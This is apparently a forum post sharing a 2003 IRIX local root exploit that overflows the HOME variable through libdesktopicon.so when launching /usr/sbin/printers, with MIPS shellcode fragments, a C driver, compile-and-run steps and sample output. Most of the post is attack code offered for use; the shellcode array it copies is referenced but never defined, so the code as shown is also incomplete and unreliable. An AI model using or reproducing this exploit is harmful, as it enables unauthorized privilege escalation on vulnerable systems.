if the system has a compiler your golden, compile this code
Code:
/*## copyright LAST STAGE OF DELIRIUM jun 2003 poland *://lsd-pl.net/ #*/
/*## libdesktopicon.so $HOME #*/
#define NOPNUM 1300
#define ADRNUM 900
#define PCHNUM 400
char setreuidcode[]=

"\x30\x44\xff\xff" /* andi $a0,$v0,0xffff */

;
char jump[]=
"\x03\xa0\x10\x25" /* move $v0,$sp */
"\x03\xe0\x00\x08" /* jr $ra */
;
char nop[]="\x24\x0f\x12\x34";
main(int argc,char **argv){
char buffer[10000],adr[4],pch[4],*b,*envp[2];
int i;
printf("copyright LAST STAGE OF DELIRIUM jun 2003 poland //lsd-pl.net/\n");
printf("libdesktopicon.so $HOME for irix 6.2 6.3 6.4 6.5 6.5.21 ");
printf("IP:ALL\n\n");
if(argc!=2){
printf("usage: %s xserver:display\n",argv[0]);
exit(-1);
}
*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+8580+3056+600;
*((unsigned long*)pch)=(*(unsigned long(*)())jump)()+8580+400+31552;
envp[0]=buffer;
envp[1]=0;
b=buffer;
sprintf(b,"HOME=");
b+=5;
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b++=0xff;
for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;
execle("/usr/sbin/printers","lsd","-display",argv[1],0,envp);
}
here is what it should look like (this was on a 6.5.22m machine, wont work on 6.5.30):
Code:
bash-4.2$ cc -o foo x.c
bash-4.2$ ./foo localhost:0.0
copyright LAST STAGE OF DELIRIUM jun 2003 poland //lsd-pl.net/
libdesktopicon.so $HOME for irix 6.2 6.3 6.4 6.5 6.5.21 IP:ALL

If you don't have a compiler, there was a way to compile stuff in earlier versions of irix using the built-in compiler the system uses for building the kernel, but my notes fail me and I don't recall how to do it...
Here is more info for the exploit I posted above:
